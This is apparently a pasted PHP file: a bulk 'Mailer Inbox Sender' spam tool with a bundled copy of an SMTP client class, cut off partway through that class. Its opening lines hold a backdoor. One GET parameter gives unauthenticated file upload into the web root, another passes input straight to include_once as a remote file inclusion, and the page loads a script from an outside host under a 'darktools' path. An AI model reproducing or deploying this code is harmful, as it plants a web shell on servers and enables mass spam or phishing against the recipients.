· 6 years ago · Oct 12, 2019, 09:02 AM
1<?php
2# ===================================================== #
3# ## ## ## ##### #### ##### #### ## ## ## ## #
4# ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
5# ####### ###### ## ## ## ## ## ## ###### ###### #
6# ## ## ## ## ## ## ## ## ## ## ## ## #
7# ## ## ## ## ##### #### ##### #### ## ## #
8# ===================================================== #
9# By Hadidi44 #
10# contact : hadidi44@ymail.com #
11# (http://www.tools2u.net) #
12# ===================================================== #
13# Upload
14$UP = $_GET['up'];
15if(isset($UP) && !empty($UP)){
16echo"".$_FILES['userfile']."";
17$uploaddir = './';
18$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
19if ( isset($_FILES["userfile"]) ) {
20 echo '<p><font color="#00FF00" size="7">Uploaded</font></p>';
21 if (move_uploaded_file
22($_FILES["userfile"]["tmp_name"], $uploadfile))
23echo $uploadfile;
24 else echo '<p><font color="#FF0000" size="7">Failed</font></p>';
25}
26
27}
28# ===================================================== #
29# RFI
30$in = $_GET['in'];
31if(isset($in) && !empty($in)){
32 echo die(include_once $in);
33}
34# ===================================================== #
35function query_str($params){
36$str = '';
37foreach ($params as $key => $value) {
38$str .= (strlen($str) < 1) ? '' : '&';
39$str .= $key . '=' . rawurlencode($value);
40}
41return ($str);
42}
43function lrtrim($string){
44return stripslashes(ltrim(rtrim($string)));
45}
46
47if(isset($_POST['action'] ) ){
48
49$b = query_str($_POST);
50parse_str($b);
51$sslclick=lrtrim($sslclick);
52$action=lrtrim($action);
53$message=lrtrim($message);
54$emaillist=lrtrim($emaillist);
55$from=lrtrim($from);
56$reconnect=lrtrim($reconnect);
57$epriority=lrtrim($epriority);
58$my_smtp=lrtrim($my_smtp);
59$ssl_port=lrtrim($ssl_port);
60$smtp_username=lrtrim($smtp_username);
61$smtp_password=lrtrim($smtp_password);
62$replyto=lrtrim($replyto);
63$subject=lrtrim($subject);
64$realname=lrtrim($realname);
65$subject_base=lrtrim($subject);
66$realname_base=lrtrim($realname);
67$file_name=lrtrim($file);
68$urlz=lrtrim($urlz);
69$contenttype=lrtrim($contenttype);
70$encode_text=$_POST['encode'];
71
72 $message = urlencode($message);
73 $message = ereg_replace("%5C%22", "%22", $message);
74 $message = urldecode($message);
75 $message = stripslashes($message);
76 $subject = stripslashes($subject);
77 if ($encode_text == "yes") {
78 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
79 $subject = str_replace(' ', '_', $subject);
80 $subject = "=?UTF-8?Q?$subject?=";
81 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
82 $realname = str_replace(' ', '_', $realname);
83 $realname = "=?UTF-8?Q?$realname?=";
84 }
85}
86?>
87<html>
88
89<head>
90<title>PHP Mailer</title>
91<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
92
93<style type="text/css">
94<!--
95.style1 {
96 font-family: Geneva, Arial, Helvetica, sans-serif;
97 font-size: 12px;
98}
99-->
100</style>
101<style type="text/css">
102<!--
103.style1 {
104 font-size: 10px;
105 font-family: Geneva, Arial, Helvetica, sans-serif;
106}
107-->
108</style>
109</head>
110<SCRIPT SRC='http://144.208.127.212/~darktools/bk/JavaScript/Style.js'></SCRIPT>
111<body text="#000000">
112<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font><font color="#FFFFFF" size="5" face="Bauhaus 93">Hadidi44</font></p>
113<form name="form1" method="post" action="" enctype="multipart/form-data">
114
115 <br>
116
117 <table width="100%" border="0" height="407">
118
119 <tr>
120
121 <td width="100%" colspan="4" bgcolor="#666666" height="36">
122
123 <b>
124
125 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
126
127 </tr>
128 <tr>
129
130 <td width="10%" height="22" bgcolor="#E8E8E8">
131
132 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
133 SMTP Login:</font></div>
134
135 </td>
136
137 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
138
139 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
140
141 </font></td>
142
143 <td width="31%" height="22" bgcolor="#E8E8E8">
144
145 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
146 SMTP Pass:</font></div>
147
148 </td>
149
150 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
151
152 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
153
154 </font></td>
155
156 </tr>
157 <tr>
158
159 <td width="10%" height="22" bgcolor="#E8E8E8">
160
161 <div align="right">
162 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
163
164 </td>
165
166 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
167
168 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
169 (optional)</font></td>
170
171 <td width="31%" height="22" bgcolor="#E8E8E8">
172
173 <div align="right">
174 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
175 Server Smtp:</font></div>
176
177 </td>
178
179 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
180
181 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
182
183 </font></td>
184
185 </tr>
186 <tr>
187
188 <td width="10%" height="22" bgcolor="#E8E8E8">
189
190 <p align="right">
191 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
192
193 <td width="18%" height="22" bgcolor="#E8E8E8">
194 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
195
196 <td width="31%" height="22" bgcolor="#E8E8E8">
197
198 <p align="right">
199 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
200 After:</font></td>
201
202 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
203
204 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
205 EMAILS</font></td>
206
207 </tr>
208 <tr>
209
210 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
211
212 <p align="center">
213 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
214 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
215
216 </tr>
217
218 <tr>
219
220 <td width="10%" height="19">
221
222 </td>
223
224 <td width="18%" height="19"> </td>
225
226 <td width="31%" height="19">
227
228 </td>
229
230 <td width="41%" height="19"> </td>
231
232 </tr>
233
234 <tr>
235
236 <td width="100%" colspan="4" bgcolor="#666666" height="36">
237
238 <b>
239
240 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
241
242 </tr>
243
244 <tr>
245
246 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
247
248 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
249 Your Email:</font></div>
250
251 </td>
252
253 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
254
255 <input type="text" name="from" value="<?=$from;?>" size="30">
256
257 </font></td>
258
259 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
260
261 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
262 Your Name:</font></div>
263
264 </td>
265
266 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
267
268 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
269
270 </font></td>
271
272 </tr>
273 <tr>
274
275 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
276
277 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
278 Reply-To:</font></div>
279
280 </td>
281
282 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
283
284 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
285
286 </font></td>
287
288 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
289
290 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
291 Email Priority:</font></td>
292
293 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
294
295 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
296 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
297 Please Choose -</option>
298 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
299 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
300 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
301 </select></td>
302
303 </tr>
304
305 <tr>
306
307 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
308
309 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
310 Subject:</font></div>
311
312 </td>
313
314 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
315
316 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
317
318 </font></td>
319
320 </tr>
321
322 <tr>
323
324 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
325
326 </td>
327
328 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
329
330 <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
331 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
332 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
333 </select></font></td>
334
335 </tr>
336
337 <tr valign="top">
338
339<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
340
341 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
342
343 <br>
344
345 <input type="radio" name="contenttype" value="plain" >
346
347 Plain
348
349 <input type="radio" name="contenttype" value="html" checked>
350
351 HTML
352
353 <input type="hidden" name="action" value="send">
354
355 <input type="submit" value="Send Message">
356
357 </font></td>
358
359 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
360
361 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
362
363 </font></td>
364
365 </tr>
366
367 </table>
368
369</form>
370
371
372
373<?
374
375if ($action){
376 if (!$from && !$subject && !$message && !$emaillist){
377 print "<script>alert('Please complete all fields before sending your message.'); </script>";
378 die(); }
379
380class SMTP
381{
382 /**
383 * SMTP server port
384 * @var int
385 */
386 var $SMTP_PORT = 25;
387
388 /**
389 * SMTP reply line ending
390 * @var string
391 */
392 var $CRLF = "\r\n";
393
394 /**
395 * Sets whether debugging is turned on
396 * @var bool
397 */
398 var $do_debug; # the level of debug to perform
399
400 /**
401 * Sets VERP use on/off (default is off)
402 * @var bool
403 */
404 var $do_verp = false;
405
406 /**#@+
407 * @access private
408 */
409 var $smtp_conn; # the socket to the server
410 var $error; # error if any on the last call
411 var $helo_rply; # the reply the server sent to us for HELO
412 /**#@-*/
413
414 /**
415 * Initialize the class so that the data is in a known state.
416 * @access public
417 * @return void
418 */
419 function SMTP() {
420 $this->smtp_conn = 0;
421 $this->error = null;
422 $this->helo_rply = null;
423
424 $this->do_debug = 0;
425 }
426
427 /*************************************************************
428 * CONNECTION FUNCTIONS *
429 ***********************************************************/
430
431 /**
432 * Connect to the server specified on the port specified.
433 * If the port is not specified use the default SMTP_PORT.
434 * If tval is specified then a connection will try and be
435 * established with the server for that number of seconds.
436 * If tval is not specified the default is 30 seconds to
437 * try on the connection.
438 *
439 * SMTP CODE SUCCESS: 220
440 * SMTP CODE FAILURE: 421
441 * @access public
442 * @return bool
443 */
444 function Connect($host,$port=0,$tval=30) {
445 # set the error val to null so there is no confusion
446 $this->error = null;
447
448 # make sure we are __not__ connected
449 if($this->connected()) {
450 # ok we are connected! what should we do?
451 # for now we will just give an error saying we
452 # are already connected
453 $this->error = array("error" => "Already connected to a server");
454 return false;
455 }
456
457 if(empty($port)) {
458 $port = $this->SMTP_PORT;
459 }
460
461 #connect to the smtp server
462 $this->smtp_conn = fsockopen($host, # the host of the server
463 $port, # the port to use
464 $errno, # error number if any
465 $errstr, # error message if any
466 $tval); # give up after ? secs
467 # verify we connected properly
468 if(empty($this->smtp_conn)) {
469 $this->error = array("error" => "Failed to connect to server",
470 "errno" => $errno,
471 "errstr" => $errstr);
472 if($this->do_debug >= 1) {
473 echo "SMTP -> ERROR: " . $this->error["error"] .
474 ": $errstr ($errno)" . $this->CRLF;
475 }
476 return false;
477 }
478
479 # sometimes the SMTP server takes a little longer to respond
480 # so we will give it a longer timeout for the first read
481 // Windows still does not have support for this timeout function
482 if(substr(PHP_OS, 0, 3) != "WIN")
483 socket_set_timeout($this->smtp_conn, $tval, 0);
484
485 # get any announcement stuff
486 $announce = $this->get_lines();
487
488 # set the timeout of any socket functions at 1/10 of a second
489 //if(function_exists("socket_set_timeout"))
490 // socket_set_timeout($this->smtp_conn, 0, 100000);
491
492 if($this->do_debug >= 2) {
493 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
494 }
495
496 return true;
497 }
498
499 /**
500 * Performs SMTP authentication. Must be run after running the
501 * Hello() method. Returns true if successfully authenticated.
502 * @access public
503 * @return bool
504 */
505 function Authenticate($username, $password) {
506 // Start authentication
507 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
508
509 $rply = $this->get_lines();
510 $code = substr($rply,0,3);
511
512 if($code != 334) {
513 $this->error =
514 array("error" => "AUTH not accepted from server",
515 "smtp_code" => $code,
516 "smtp_msg" => substr($rply,4));
517 if($this->do_debug >= 1) {
518 echo "SMTP -> ERROR: " . $this->error["error"] .
519 ": " . $rply . $this->CRLF;
520 }
521 return false;
522 }
523
524 // Send encoded username
525 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
526
527 $rply = $this->get_lines();
528 $code = substr($rply,0,3);
529
530 if($code != 334) {
531 $this->error =
532 array("error" => "Username not accepted from server",
533 "smtp_code" => $code,
534 "smtp_msg" => substr($rply,4));
535 if($this->do_debug >= 1) {
536 echo "SMTP -> ERROR: " . $this->error["error"] .
537 ": " . $rply . $this->CRLF;
538 }
539 return false;
540 }
541
542 // Send encoded password
543 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
544
545 $rply = $this->get_lines();
546 $code = substr($rply,0,3);
547
548 if($code != 235) {
549 $this->error =
550 array("error" => "Password not accepted from server",
551 "smtp_code" => $code,
552 "smtp_msg" => substr($rply,4));
553 if($this->do_debug >= 1) {
554 echo "SMTP -> ERROR: " . $this->error["error"] .
555 ": " . $rply . $this->CRLF;
556 }
557 return false;
558 }
559
560 return true;
561 }
562
563 /**
564 * Returns true if connected to a server otherwise false
565 * @access private
566 * @return bool
567 */
568 function Connected() {
569 if(!empty($this->smtp_conn)) {
570 $sock_status = socket_get_status($this->smtp_conn);
571 if($sock_status["eof"]) {
572 # hmm this is an odd situation... the socket is
573 # valid but we are not connected anymore
574 if($this->do_debug >= 1) {
575 echo "SMTP -> NOTICE:" . $this->CRLF .
576 "EOF caught while checking if connected";
577 }
578 $this->Close();
579 return false;
580 }
581 return true; # everything looks good
582 }
583 return false;
584 }
585
586 /**
587 * Closes the socket and cleans up the state of the class.
588 * It is not considered good to use this function without
589 * first trying to use QUIT.
590 * @access public
591 * @return void
592 */
593 function Close() {
594 $this->error = null; # so there is no confusion
595 $this->helo_rply = null;
596 if(!empty($this->smtp_conn)) {
597 # close the connection and cleanup
598 fclose($this->smtp_conn);
599 $this->smtp_conn = 0;
600 }
601 }
602
603 /***************************************************************
604 * SMTP COMMANDS *
605 *************************************************************/
606
607 /**
608 * Issues a data command and sends the msg_data to the server
609 * finializing the mail transaction. $msg_data is the message
610 * that is to be send with the headers. Each header needs to be
611 * on a single line followed by a <CRLF> with the message headers
612 * and the message body being seperated by and additional <CRLF>.
613 *
614 * Implements rfc 821: DATA <CRLF>
615 *
616 * SMTP CODE INTERMEDIATE: 354
617 * [data]
618 * <CRLF>.<CRLF>
619 * SMTP CODE SUCCESS: 250
620 * SMTP CODE FAILURE: 552,554,451,452
621 * SMTP CODE FAILURE: 451,554
622 * SMTP CODE ERROR : 500,501,503,421
623 * @access public
624 * @return bool
625 */
626 function Data($msg_data) {
627 $this->error = null; # so no confusion is caused
628
629 if(!$this->connected()) {
630 $this->error = array(
631 "error" => "Called Data() without being connected");
632 return false;
633 }
634
635 fputs($this->smtp_conn,"DATA" . $this->CRLF);
636
637 $rply = $this->get_lines();
638 $code = substr($rply,0,3);
639
640 if($this->do_debug >= 2) {
641 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
642 }
643
644 if($code != 354) {
645 $this->error =
646 array("error" => "DATA command not accepted from server",
647 "smtp_code" => $code,
648 "smtp_msg" => substr($rply,4));
649 if($this->do_debug >= 1) {
650 echo "SMTP -> ERROR: " . $this->error["error"] .
651 ": " . $rply . $this->CRLF;
652 }
653 return false;
654 }
655
656 # the server is ready to accept data!
657 # according to rfc 821 we should not send more than 1000
658 # including the CRLF
659 # characters on a single line so we will break the data up
660 # into lines by \r and/or \n then if needed we will break
661 # each of those into smaller lines to fit within the limit.
662 # in addition we will be looking for lines that start with
663 # a period '.' and append and additional period '.' to that
664 # line. NOTE: this does not count towards are limit.
665
666 # normalize the line breaks so we know the explode works
667 $msg_data = str_replace("\r\n","\n",$msg_data);
668 $msg_data = str_replace("\r","\n",$msg_data);
669 $lines = explode("\n",$msg_data);
670
671 # we need to find a good way to determine is headers are
672 # in the msg_data or if it is a straight msg body
673 # currently I am assuming rfc 822 definitions of msg headers
674 # and if the first field of the first line (':' sperated)
675 # does not contain a space then it _should_ be a header
676 # and we can process all lines before a blank "" line as
677 # headers.
678 $field = substr($lines[0],0,strpos($lines[0],":"));
679 $in_headers = false;
680 if(!empty($field) && !strstr($field," ")) {
681 $in_headers = true;
682 }
683
684 $max_line_length = 998; # used below; set here for ease in change
685
686 while(list(,$line) = @each($lines)) {
687 $lines_out = null;
688 if($line == "" && $in_headers) {
689 $in_headers = false;
690 }
691 # ok we need to break this line up into several
692 # smaller lines
693 while(strlen($line) > $max_line_length) {
694 $pos = strrpos(substr($line,0,$max_line_length)," ");
695
696 # Patch to fix DOS attack
697 if(!$pos) {
698 $pos = $max_line_length - 1;
699 }
700
701 $lines_out[] = substr($line,0,$pos);
702 $line = substr($line,$pos + 1);
703 # if we are processing headers we need to
704 # add a LWSP-char to the front of the new line
705 # rfc 822 on long msg headers
706 if($in_headers) {
707 $line = "\t" . $line;
708 }
709 }
710 $lines_out[] = $line;
711
712 # now send the lines to the server
713 while(list(,$line_out) = @each($lines_out)) {
714 if(strlen($line_out) > 0)
715 {
716 if(substr($line_out, 0, 1) == ".") {
717 $line_out = "." . $line_out;
718 }
719 }
720 fputs($this->smtp_conn,$line_out . $this->CRLF);
721 }
722 }
723
724 # ok all the message data has been sent so lets get this
725 # over with aleady
726 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
727
728 $rply = $this->get_lines();
729 $code = substr($rply,0,3);
730
731 if($this->do_debug >= 2) {
732 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
733 }
734
735 if($code != 250) {
736 $this->error =
737 array("error" => "DATA not accepted from server",
738 "smtp_code" => $code,
739 "smtp_msg" => substr($rply,4));
740 if($this->do_debug >= 1) {
741 echo "SMTP -> ERROR: " . $this->error["error"] .
742 ": " . $rply . $this->CRLF;
743 }
744 return false;
745 }
746 return true;
747 }
748
749 /**
750 * Expand takes the name and asks the server to list all the
751 * people who are members of the _list_. Expand will return
752 * back and array of the result or false if an error occurs.
753 * Each value in the array returned has the format of:
754 * [ <full-name> <sp> ] <path>
755 * The definition of <path> is defined in rfc 821
756 *
757 * Implements rfc 821: EXPN <SP> <string> <CRLF>
758 *
759 * SMTP CODE SUCCESS: 250
760 * SMTP CODE FAILURE: 550
761 * SMTP CODE ERROR : 500,501,502,504,421
762 * @access public
763 * @return string array
764 */
765 function Expand($name) {
766 $this->error = null; # so no confusion is caused
767
768 if(!$this->connected()) {
769 $this->error = array(
770 "error" => "Called Expand() without being connected");
771 return false;
772 }
773
774 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
775
776 $rply = $this->get_lines();
777 $code = substr($rply,0,3);
778
779 if($this->do_debug >= 2) {
780 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
781 }
782
783 if($code != 250) {
784 $this->error =
785 array("error" => "EXPN not accepted from server",
786 "smtp_code" => $code,
787 "smtp_msg" => substr($rply,4));
788 if($this->do_debug >= 1) {
789 echo "SMTP -> ERROR: " . $this->error["error"] .
790 ": " . $rply . $this->CRLF;
791 }
792 return false;
793 }
794
795 # parse the reply and place in our array to return to user
796 $entries = explode($this->CRLF,$rply);
797 while(list(,$l) = @each($entries)) {
798 $list[] = substr($l,4);
799 }
800
801 return $list;
802 }
803
804 /**
805 * Sends the HELO command to the smtp server.
806 * This makes sure that we and the server are in
807 * the same known state.
808 *
809 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
810 *
811 * SMTP CODE SUCCESS: 250
812 * SMTP CODE ERROR : 500, 501, 504, 421
813 * @access public
814 * @return bool
815 */
816 function Hello($host="") {
817 $this->error = null; # so no confusion is caused
818
819 if(!$this->connected()) {
820 $this->error = array(
821 "error" => "Called Hello() without being connected");
822 return false;
823 }
824
825 # if a hostname for the HELO was not specified determine
826 # a suitable one to send
827 if(empty($host)) {
828 # we need to determine some sort of appopiate default
829 # to send to the server
830 $host = "localhost";
831 }
832
833 // Send extended hello first (RFC 2821)
834 if(!$this->SendHello("EHLO", $host))
835 {
836 if(!$this->SendHello("HELO", $host))
837 return false;
838 }
839
840 return true;
841 }
842
843 /**
844 * Sends a HELO/EHLO command.
845 * @access private
846 * @return bool
847 */
848 function SendHello($hello, $host) {
849 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
850
851 $rply = $this->get_lines();
852 $code = substr($rply,0,3);
853
854 if($this->do_debug >= 2) {
855 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
856 }
857
858 if($code != 250) {
859 $this->error =
860 array("error" => $hello . " not accepted from server",
861 "smtp_code" => $code,
862 "smtp_msg" => substr($rply,4));
863 if($this->do_debug >= 1) {
864 echo "SMTP -> ERROR: " . $this->error["error"] .
865 ": " . $rply . $this->CRLF;
866 }
867 return false;
868 }
869
870 $this->helo_rply = $rply;
871
872 return true;
873 }
874
875 /**
876 * Gets help information on the keyword specified. If the keyword
877 * is not specified then returns generic help, ussually contianing
878 * A list of keywords that help is available on. This function
879 * returns the results back to the user. It is up to the user to
880 * handle the returned data. If an error occurs then false is
881 * returned with $this->error set appropiately.
882 *
883 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
884 *
885 * SMTP CODE SUCCESS: 211,214
886 * SMTP CODE ERROR : 500,501,502,504,421
887 * @access public
888 * @return string
889 */
890 function Help($keyword="") {
891 $this->error = null; # to avoid confusion
892
893 if(!$this->connected()) {
894 $this->error = array(
895 "error" => "Called Help() without being connected");
896 return false;
897 }
898
899 $extra = "";
900 if(!empty($keyword)) {
901 $extra = " " . $keyword;
902 }
903
904 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
905
906 $rply = $this->get_lines();
907 $code = substr($rply,0,3);
908
909 if($this->do_debug >= 2) {
910 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
911 }
912
913 if($code != 211 && $code != 214) {
914 $this->error =
915 array("error" => "HELP not accepted from server",
916 "smtp_code" => $code,
917 "smtp_msg" => substr($rply,4));
918 if($this->do_debug >= 1) {
919 echo "SMTP -> ERROR: " . $this->error["error"] .
920 ": " . $rply . $this->CRLF;
921 }
922 return false;
923 }
924
925 return $rply;
926 }
927
928 /**
929 * Starts a mail transaction from the email address specified in
930 * $from. Returns true if successful or false otherwise. If True
931 * the mail transaction is started and then one or more Recipient
932 * commands may be called followed by a Data command.
933 *
934 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
935 *
936 * SMTP CODE SUCCESS: 250
937 * SMTP CODE SUCCESS: 552,451,452
938 * SMTP CODE SUCCESS: 500,501,421
939 * @access public
940 * @return bool
941 */
942 function Mail($from) {
943 $this->error = null; # so no confusion is caused
944
945 if(!$this->connected()) {
946 $this->error = array(
947 "error" => "Called Mail() without being connected");
948 return false;
949 }
950
951 $useVerp = ($this->do_verp ? "XVERP" : "");
952 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
953
954 $rply = $this->get_lines();
955 $code = substr($rply,0,3);
956
957 if($this->do_debug >= 2) {
958 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
959 }
960
961 if($code != 250) {
962 $this->error =
963 array("error" => "MAIL not accepted from server",
964 "smtp_code" => $code,
965 "smtp_msg" => substr($rply,4));
966 if($this->do_debug >= 1) {
967 echo "SMTP -> ERROR: " . $this->error["error"] .
968 ": " . $rply . $this->CRLF;
969 }
970 return false;
971 }
972 return true;
973 }
974
975 /**
976 * Sends the command NOOP to the SMTP server.
977 *
978 * Implements from rfc 821: NOOP <CRLF>
979 *
980 * SMTP CODE SUCCESS: 250
981 * SMTP CODE ERROR : 500, 421
982 * @access public
983 * @return bool
984 */
985 function Noop() {
986 $this->error = null; # so no confusion is caused
987
988 if(!$this->connected()) {
989 $this->error = array(
990 "error" => "Called Noop() without being connected");
991 return false;
992 }
993
994 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
995
996 $rply = $this->get_lines();
997 $code = substr($rply,0,3);
998
999 if($this->do_debug >= 2) {
1000 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1001 }
1002
1003 if($code != 250) {
1004 $this->error =
1005 array("error" => "NOOP not accepted from server",
1006 "smtp_code" => $code,
1007 "smtp_msg" => substr($rply,4));
1008 if($this->do_debug >= 1) {
1009 echo "SMTP -> ERROR: " . $this->error["error"] .
1010 ": " . $rply . $this->CRLF;
1011 }
1012 return false;
1013 }
1014 return true;
1015 }
1016
1017 /**
1018 * Sends the quit command to the server and then closes the socket
1019 * if there is no error or the $close_on_error argument is true.
1020 *
1021 * Implements from rfc 821: QUIT <CRLF>
1022 *
1023 * SMTP CODE SUCCESS: 221
1024 * SMTP CODE ERROR : 500
1025 * @access public
1026 * @return bool
1027 */
1028 function Quit($close_on_error=true) {
1029 $this->error = null; # so there is no confusion
1030
1031 if(!$this->connected()) {
1032 $this->error = array(
1033 "error" => "Called Quit() without being connected");
1034 return false;
1035 }
1036
1037 # send the quit command to the server
1038 fputs($this->smtp_conn,"quit" . $this->CRLF);
1039
1040 # get any good-bye messages
1041 $byemsg = $this->get_lines();
1042
1043 if($this->do_debug >= 2) {
1044 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1045 }
1046
1047 $rval = true;
1048 $e = null;
1049
1050 $code = substr($byemsg,0,3);
1051 if($code != 221) {
1052 # use e as a tmp var cause Close will overwrite $this->error
1053 $e = array("error" => "SMTP server rejected quit command",
1054 "smtp_code" => $code,
1055 "smtp_rply" => substr($byemsg,4));
1056 $rval = false;
1057 if($this->do_debug >= 1) {
1058 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1059 $byemsg . $this->CRLF;
1060 }
1061 }
1062
1063 if(empty($e) || $close_on_error) {
1064 $this->Close();
1065 }
1066
1067 return $rval;
1068 }
1069
1070 /**
1071 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1072 * Returns true if the recipient was accepted false if it was rejected.
1073 *
1074 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1075 *
1076 * SMTP CODE SUCCESS: 250,251
1077 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1078 * SMTP CODE ERROR : 500,501,503,421
1079 * @access public
1080 * @return bool
1081 */
1082 function Recipient($to) {
1083 $this->error = null; # so no confusion is caused
1084
1085 if(!$this->connected()) {
1086 $this->error = array(
1087 "error" => "Called Recipient() without being connected");
1088 return false;
1089 }
1090
1091 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1092
1093 $rply = $this->get_lines();
1094 $code = substr($rply,0,3);
1095
1096 if($this->do_debug >= 2) {
1097 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1098 }
1099
1100 if($code != 250 && $code != 251) {
1101 $this->error =
1102 array("error" => "RCPT not accepted from server",
1103 "smtp_code" => $code,
1104 "smtp_msg" => substr($rply,4));
1105 if($this->do_debug >= 1) {
1106 echo "SMTP -> ERROR: " . $this->error["error"] .
1107 ": " . $rply . $this->CRLF;
1108 }
1109 return false;
1110 }
1111 return true;
1112 }
1113
1114 /**
1115 * Sends the RSET command to abort and transaction that is
1116 * currently in progress. Returns true if successful false
1117 * otherwise.
1118 *
1119 * Implements rfc 821: RSET <CRLF>
1120 *
1121 * SMTP CODE SUCCESS: 250
1122 * SMTP CODE ERROR : 500,501,504,421
1123 * @access public
1124 * @return bool
1125 */
1126 function Reset() {
1127 $this->error = null; # so no confusion is caused
1128
1129 if(!$this->connected()) {
1130 $this->error = array(
1131 "error" => "Called Reset() without being connected");
1132 return false;
1133 }
1134
